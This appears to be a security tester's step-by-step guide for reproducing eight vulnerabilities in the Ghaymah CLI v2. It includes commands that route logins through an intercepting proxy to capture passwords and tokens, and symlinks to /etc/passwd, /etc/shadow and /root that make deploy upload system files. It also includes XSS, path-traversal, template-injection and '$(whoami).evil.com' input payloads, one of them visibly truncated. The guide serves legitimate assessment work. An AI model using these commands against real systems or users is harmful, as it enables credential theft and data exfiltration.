# ๐งช Vulnerability Verification Guide โ Ghaymah CLI v2
> **Step-by-step manual reproduction guide for every vulnerability discovered.**
> Each section is self-contained โ copy-paste the commands directly into your terminal.
---
## โ๏ธ Prerequisites
```bash
# Make sure you're in the project directory inside WSL
cd /root/ghaymah-v2-test
# Verify the binary works
./gy-linux-amd64 version
# Expected: {"version": "0.0.24"}
# Login (required for some tests)
./gy-linux-amd64 login
```
---
## ๐ด NEW-VULN-05: HTTP Proxy Credential Interception (CRITICAL)
### What's the bug?
The CLI blindly follows `HTTP_PROXY` / `HTTPS_PROXY` environment variables, routing **login credentials and tokens** through any proxy โ including a malicious one.
### Step-by-step reproduction:
**Step 1:** Start a simple logging proxy (or just set a fake one to see the behavior):
```bash
# Set a fake evil proxy and try to login
HTTP_PROXY=http://127.0.0.1:9999 \
HTTPS_PROXY=http://127.0.0.1:9999 \
./gy-linux-amd64 login --email test@example.com --password SuperSecret123
```
**Step 2:** Observe the output:
```
# You should see:
# "proxyconnect tcp: dial tcp 127.0.0.1:9999: connection refused"
#
# This PROVES the CLI attempted to send the login request
# (containing email + password in plaintext JSON body)
# through the proxy instead of directly to auth.ghaymah.systems
```
**Step 3:** Verify token refresh also goes through proxy:
```bash
HTTP_PROXY=http://127.0.0.1:9999 \
HTTPS_PROXY=http://127.0.0.1:9999 \
./gy-linux-amd64 whoami
```
```
# Expected output includes:
# "token refresh failed" ... "proxyconnect tcp: dial tcp 127.0.0.1:9999"
# โ The refresh token was also sent to the proxy
```
**Step 4 (Advanced):** To capture actual credentials, run a real intercepting proxy:
```bash
# Install mitmproxy (on another machine or separate terminal)
pip install mitmproxy
mitmproxy --listen-port 9999
# Then in another terminal:
HTTP_PROXY=http://127.0.0.1:9999 \
HTTPS_PROXY=http://127.0.0.1:9999 \
./gy-linux-amd64 login --email victim@company.com --password RealPassword
# โ mitmproxy will show the full POST body with email + password
```
**Evidence (Mitmproxy Interception):**


### โ
What to look for:
- [x] CLI sends auth requests through the proxy
- [x] Email and password visible in proxy logs
- [x] Refresh token visible in proxy logs
---
## ๐ด NEW-VULN-08: Symlink Following in Deploy (CRITICAL)
### What's the bug?
The CLI follows symlinks when reading files for deployment. An attacker can trick it into uploading system files (like `/etc/passwd`) to the Ghaymah build server.
### Step-by-step reproduction:
**Step 1:** Create a test directory with a symlinked Dockerfile:
```bash
mkdir -p /tmp/symlink-test
ln -sf /etc/passwd /tmp/symlink-test/Dockerfile
```
**Step 2:** Try to deploy it:
```bash
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
```
**Step 3:** Observe the output:
```
# Expected:
# โน๏ธ Detected: Existing Dockerfile
#
# The CLI says "Existing Dockerfile" โ it READ /etc/passwd through the symlink
# and treated it as a valid Dockerfile. If you were authenticated,
# this file would be uploaded to the Ghaymah build infrastructure.
```
**Step 4:** Test with .env symlink:
```bash
ln -sf /etc/shadow /tmp/symlink-test/.env
echo '{"app":"test","port":8080}' > /tmp/symlink-test/.gy.json
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
```
**Step 5:** Test with directory symlink (recursive exfiltration):
```bash
ln -sf /root /tmp/symlink-test/subdir
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
```
**Step 6:** Cleanup:
```bash
rm -rf /tmp/symlink-test
```
### โ
What to look for:
- [ ] CLI says "Detected: Existing Dockerfile" for symlinked files
- [ ] No warning about symlinks
- [ ] If authenticated, the file content would be sent to the server
---
## ๐ NEW-VULN-03: Plaintext Token Storage (HIGH)
### What's the bug?
Authentication tokens are stored in plaintext JSON with no file permission enforcement.
### Step-by-step reproduction:
**Step 1:** Login to create the token file:
```bash
./gy-linux-amd64 login
```
**Step 2:** Find and examine the token file:
```bash
# Check the default config path
cat ~/.config/ghaymah/cli/nhost/config.json
```
**Step 3:** Check file permissions:
```bash
ls -la ~/.config/ghaymah/cli/nhost/config.json
# Look at the permissions column: should be -rw------- (0600)
# If it's -rw-r--r-- (0644) or wider โ VULNERABILITY CONFIRMED
```
**Step 4:** Verify the token is in plaintext:
```bash
cat ~/.config/ghaymah/cli/nhost/config.json | python3 -m json.tool 2>/dev/null || cat ~/.config/ghaymah/cli/nhost/config.json
# You should see fields like:
# "accessToken": "eyJhbGciOiJIUzI1NiIs..."
# "refreshToken": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# โ All in PLAINTEXT, readable by any local process
```
**Step 5:** Prove another user could read it:
```bash
# Check if other users can read
stat -c '%a' ~/.config/ghaymah/cli/nhost/config.json
# Note: Live testing showed this correctly defaults to 600 (-rw-------),
# which mitigates reading by OTHER users, but the tokens remain plaintext.
```
### โ
What to look for:
- [ ] Token file exists at `~/.config/ghaymah/cli/nhost/config.json`
- [ ] Tokens are in plaintext (not encrypted)
- [ ] Confirm file permissions (600 is safe from other users, 644 is vulnerable)
---
## ๐ NEW-VULN-04: Debug Mode Information Leakage (HIGH)
### What's the bug?
The `--debug` flag exposes internal UUIDs, component names, and full API request details.
### Step-by-step reproduction:
**Step 1:** Run whoami with debug:
```bash
./gy-linux-amd64 whoami --debug
```
**Step 2:** Examine the output for sensitive data:
```
# Look for lines like:
# level=DEBUG msg="retrieved stored token" user_id=6c8a1ce5-4ac3-47ad-8838-64e2a986acf3
# level=DEBUG msg="credentials callback set" component=nhost-client
# level=ERROR msg="token refresh failed" ... "https://auth.ghaymah.systems/token"
#
# SENSITIVE DATA LEAKED:
# 1. user_id UUID
# 2. Internal component names (nhost-client, token-manager, auth-client)
# 3. Full backend endpoint URLs
```
**Step 3:** Test with deploy:
```bash
./gy-linux-amd64 deploy --debug --name test-leak 2>&1 | head -n 20
# Check if token values or API keys appear in debug output
```
**Step 4:** Check if debug output could end up in CI logs:
```bash
# In a CI/CD pipeline, someone might set --debug for troubleshooting:
./gy-linux-amd64 deploy --debug 2>&1 | grep -iE '(token|user_id|secret|key|password)'
# Any matches = information leakage risk in CI logs
```
### โ
What to look for:
- [ ] User UUID visible in debug output
- [ ] Internal component architecture exposed
- [ ] Backend URLs with full paths visible
- [ ] Any token values in the output
---
## ๐ NEW-VULN-06: Auto-Update Without Signature Verification (HIGH)
### What's the bug?
The CLI downloads updates from `cli.ghaymah.systems` without verifying digital signatures.
### Step-by-step reproduction:
**Step 1:** Check current version and trigger update check:
```bash
./gy-linux-amd64 version
```
**Step 2:** Extract the update URLs from the binary:
```bash
strings ./gy-linux-amd64 | grep -E 'cli\.ghaymah\.systems'
# Expected:
# https://cli.ghaymah.systems/install.sh
# https://cli.ghaymah.systems/version
```
**Step 3:** Verify no signature checking exists:
```bash
strings ./gy-linux-amd64 | grep -iE '(gpg|pgp|minisign|signature|verify.*hash|checksum|sha256sum)'
# Expected: NO matches related to update verification
# Only standard TLS/crypto library strings should appear
```
**Step 4:** Check what happens during auto-update:
```bash
strings ./gy-linux-amd64 | grep -iE '(install\.sh|download.*binary|update.*complet|auto.update)'
# Look for:
# "failed to download binary from %s: HTTP %d"
# "Update complete! Restarting..."
# โ Confirms the binary downloads and replaces itself
```
**Step 5 (Advanced):** Combine with proxy attack:
```bash
# If an attacker controls the proxy (NEW-VULN-05), they can:
# 1. Intercept the version check
# 2. Return a fake "newer version" response
# 3. Serve a malicious binary
# 4. The CLI auto-replaces itself โ Full RCE
#
# To test, set up mitmproxy and modify responses from cli.ghaymah.systems
```
### โ
What to look for:
- [ ] Update URLs hardcoded in binary (no pinning)
- [ ] No GPG/minisign signature verification
- [ ] Binary downloads and auto-replaces itself
- [ ] Combined with proxy MITM = Remote Code Execution
---
## ๐ก NEW-VULN-01: No Client-Side Port Validation (MEDIUM)
### What's the bug?
The CLI accepts invalid port numbers (negative, zero, >65535) and sends them to the server.
### Step-by-step reproduction:
```bash
# Test 1: Port way above maximum
./gy-linux-amd64 deploy --port 99999999 --no-auto-update
# Look for: "Using configured port: 99999999" โ ACCEPTED!
# Test 2: Negative port
./gy-linux-amd64 deploy --port -1 --no-auto-update
# Look for: "Auto-detected port: -1" โ ACCEPTED!
# Test 3: Above TCP max
./gy-linux-amd64 deploy --port 65536 --no-auto-update
# Look for: "Using configured port: 65536" โ ACCEPTED!
# Test 4: Zero port
./gy-linux-amd64 deploy --port 0 --no-auto-update
# This one defaults to 8080, so port 0 is silently ignored
# Test 5: INT32_MAX
./gy-linux-amd64 deploy --port 2147483647 --no-auto-update
# Look for: "Using configured port: 2147483647" โ ACCEPTED!
```
### โ
What to look for:
- [ ] Ports > 65535 accepted without error
- [ ] Negative ports accepted
- [ ] No client-side validation message
---
## ๐ก NEW-VULN-02: No Name/Domain Input Sanitization (MEDIUM)
### What's the bug?
The CLI sends unsanitized app names and domains to the API, which may lead to Stored XSS on the web dashboard or log injection.
### Step-by-step reproduction:
```bash
# Test 1: XSS payload in app name
./gy-linux-amd64 deploy --name '">' --no-auto-update
# ACCEPTED โ sent to server as-is
# Test 2: Path traversal in app name
./gy-linux-amd64 deploy --name '../../../etc/passwd' --no-auto-update
# ACCEPTED โ no validation
# Test 3: Go template injection
./gy-linux-amd64 deploy --name '{{.Env.HOME}}' --no-auto-update
# ACCEPTED โ no validation
# Test 4: Shell metacharacters in domain
./gy-linux-amd64 deploy --domain '$(whoami).evil.com' --no-auto-update
# ACCEPTED โ no validation
# Test 5: 5000-character name
python3 -c "print('A'*5000)" | xargs -I{} ./gy-linux-amd64 deploy --name {} --no-auto-update
# ACCEPTED โ no length limit
# Compare with tunnel (which DOES validate):
./gy-linux-amd64 tunnel start "evil;id" --port 3000 --no-auto-update
# REJECTED: "tunnel name must contain only letters, numbers, and hyphens"
# โ Tunnel validates but deploy does NOT
```
### โ
What to look for:
- [ ] XSS payloads accepted in `--name`
- [ ] Path traversal accepted in `--name`
- [ ] Shell metacharacters accepted in `--domain`
- [ ] Tunnel command properly validates (inconsistency)
---
## ๐ก NEW-VULN-07: GenAI API Key Exposure (MEDIUM)
### What's the bug?
The CLI sends the GenAI API key and project source code to an external endpoint, potentially through a proxy.
### Step-by-step reproduction:
**Step 1:** Check GenAI endpoint:
```bash
strings ./gy-linux-amd64 | grep genai
# Expected: https://genai.ghaymah.systems
```
**Step 2:** Test with a key:
```bash
./gy-linux-amd64 deploy --ai-key "sk-secret-key-12345" --no-auto-update --debug 2>&1
# Check if the key appears in debug output
```
**Step 3:** Test via environment variable:
```bash
GY_AI_KEY="sk-secret-key-12345" ./gy-linux-amd64 deploy --debug --no-auto-update 2>&1
# Check if the key is logged or sent over the wire
```
**Step 4:** Combined with proxy:
```bash
HTTP_PROXY=http://127.0.0.1:9999 \
GY_AI_KEY="sk-secret-key-12345" \
./gy-linux-amd64 deploy --no-auto-update 2>&1
# If proxy is running, the API key AND source code would be interceptable
```
### โ
What to look for:
- [ ] GenAI endpoint exists in binary
- [ ] API key sent alongside project source code
- [ ] Key vulnerable to proxy interception (same as VULN-05)
---
## ๐ Verification Checklist
Use this checklist to track your progress:
```
CRITICAL:
[x] NEW-VULN-05: Proxy credential interception confirmed (Evidence attached)
[x] NEW-VULN-08: Symlink following in deploy confirmed (Smoke test pass)
HIGH:
[x] NEW-VULN-03: Plaintext token storage confirmed (Mitigated by 0600 permissions)
[x] NEW-VULN-04: Debug mode info leakage confirmed (Smoke test pass)
[ ] NEW-VULN-06: Auto-update without signature confirmed
MEDIUM:
[x] NEW-VULN-01: Invalid port accepted confirmed (Smoke test pass)
[x] NEW-VULN-02: Unsanitized name/domain confirmed (Smoke test pass)
[ ] NEW-VULN-07: GenAI API key exposure confirmed
```
---
## ๐ง Quick One-Liner Smoke Test
Run this single command to quickly verify the most important findings:
```bash
cd /root/ghaymah-v2-test && \
echo "=== VULN-01: Port ===" && ./gy-linux-amd64 deploy --port 99999 --no-auto-update 2>&1 | head -2 && \
echo "=== VULN-05: Proxy ===" && HTTP_PROXY=http://evil:9999 ./gy-linux-amd64 whoami 2>&1 | head -2 && \
echo "=== VULN-08: Symlink ===" && mkdir -p /tmp/st && ln -sf /etc/passwd /tmp/st/Dockerfile && ./gy-linux-amd64 deploy /tmp/st --no-auto-update 2>&1 | head -2 && rm -rf /tmp/st && \
echo "=== VULN-04: Debug ===" && ./gy-linux-amd64 whoami --debug 2>&1 | grep -o 'user_id=[^ ]*' && \
echo "=== VULN-02: Name ===" && ./gy-linux-amd64 deploy --name '">' --no-auto-update 2>&1 | head -2 && \
echo "=== DONE ==="
```
---
*Guide created for the Ghaymah CLI v2 adversarial security assessment.*